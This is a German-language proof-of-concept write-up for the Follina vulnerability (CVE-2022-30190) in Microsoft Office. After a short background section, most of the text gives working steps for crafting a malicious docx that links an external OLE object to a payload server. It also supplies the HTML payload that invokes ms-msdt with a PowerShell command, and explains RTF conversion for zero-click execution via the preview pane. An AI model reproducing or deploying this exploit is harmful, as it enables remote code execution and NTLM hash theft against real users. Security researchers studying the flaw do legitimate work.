
Proof-of-Concept-Exploit für CVE-2022-30190 (Follina), der die Remotecodeausführung über präparierte Microsoft-Office-Dokumente mithilfe des ms-msdt-URI-Handlers demonstriert.
Info : Neue Microsoft-Office-Zero-Day-Schwachstelle in Angriffen zur Ausführung von PowerShell genutzt
Am 29. Mai 2022 entdeckte das Nao_Sec-Team, ein unabhängiges Cybersicherheits-Forschungsteam, ein bösartiges Office-Dokument, das auf Virustotal geteilt wurde. Dieses Dokument verwendet ein ungewöhnliches, aber bekanntes Schema, um seine Opfer zu infizieren. Das Schema wurde von einigen EDR-Lösungen wie Microsoft Defender for Endpoint nicht als bösartig erkannt. Diese Schwachstelle könnte zu Codeausführung ohne Benutzerinteraktion führen, da sie keine Makros beinhaltet – außer wenn der Protected View-Modus aktiviert ist. Es ist noch keine CVE-Nummer zugewiesen.
Die Schwachstelle wird ausgenutzt, indem das MSProtocol-URI-Schema verwendet wird, um Code zu laden. Angreifer könnten bösartige Links in Microsoft-Office-Dokumenten, -Vorlagen oder -E-Mails einbetten, die mit ms-msdt: beginnen. Diese werden anschließend ohne Benutzerinteraktion geladen und ausgeführt – außer wenn der Protected View-Modus aktiviert ist. Das Konvertieren des Dokuments in das RTF-Format kann jedoch auch die Protected View-Funktion umgehen.
MS-Office-docx-Dateien können externe OLE-Objektverweise als HTML-Dateien enthalten. Es gibt ein HTML-Schema „ms-msdt:“, das das msdt-Diagnosetool aufruft, das beliebigen Code (in Parametern angegeben) ausführen kann.
Das Ergebnis ist ein erschreckender Angriffsvektor, um durch Öffnen bösartiger docx-Dateien RCE zu erlangen (ohne Makros zu verwenden).
Hier sind die Schritte zum Erstellen einer Proof-of-Concept-docx-Datei:
Öffnen Sie Word (verwendet: aktuelles 2019 Pro, 16.0.10386.20017), erstellen Sie ein Dummy-Dokument, fügen Sie ein (OLE-)Objekt (als Bitmap-Bild) ein und speichern Sie es als docx.
Bearbeiten Sie word/_rels/document.xml.rels in der docx-Struktur (es ist eine einfache ZIP-Datei). Ändern Sie das XML-Tag <Relationship> mit dem Attribut
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
und Target="embeddings/oleObject1.bin", indem Sie den Wert von Target ändern und das Attribut TargetMode hinzufügen:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Beachten Sie den Id-Wert (wahrscheinlich "rId5").
word/document.xml. Suchen Sie nach dem Tag <o:OLEObject ..> (mit r:id="rId5") und ändern Sie das Attribut von Type="Embed" zu Type="Link" und fügen Sie das Attribut UpdateMode="OnCall" hinzu.HINWEIS: Die erstellte bösartige docx ist fast identisch mit der für CVE-2021-44444.
http://<payload_server>/payload.html bereit:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Beachten Sie, dass:
Darüber hinaus kann das auslösende Payload auf entfernte Standorte zugreifen. Auch wenn es unwahrscheinlich ist, dass dadurch eine nicht vertrauenswürdige Binärdatei aufgerufen wird, überträgt die Verbindung dennoch NTLM-Hashes (was bedeutet, dass die Angreifer nun einen Hash des Windows-Passworts des Opfers besitzen), die von einem Gegner für weitere Post-Exploitation-Aktivitäten verwendet werden könnten.
Wenn Sie in Schritt 3 zusätzlich diese Elemente unterhalb des Elements <o:OLEObject> in word/document.xml hinzufügen:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
dann funktioniert es auch als RTF (öffnen Sie die resultierende docx und speichern Sie sie als RTF).
Mit RTF ist es nicht nötig, die Datei in Word zu öffnen; es reicht, zu der Datei zu navigieren und sie in einem Vorschaufenster anzusehen. Das Vorschaufenster löst das externe HTML-Payload aus, und RCE ist ohne einen einzigen Klick da.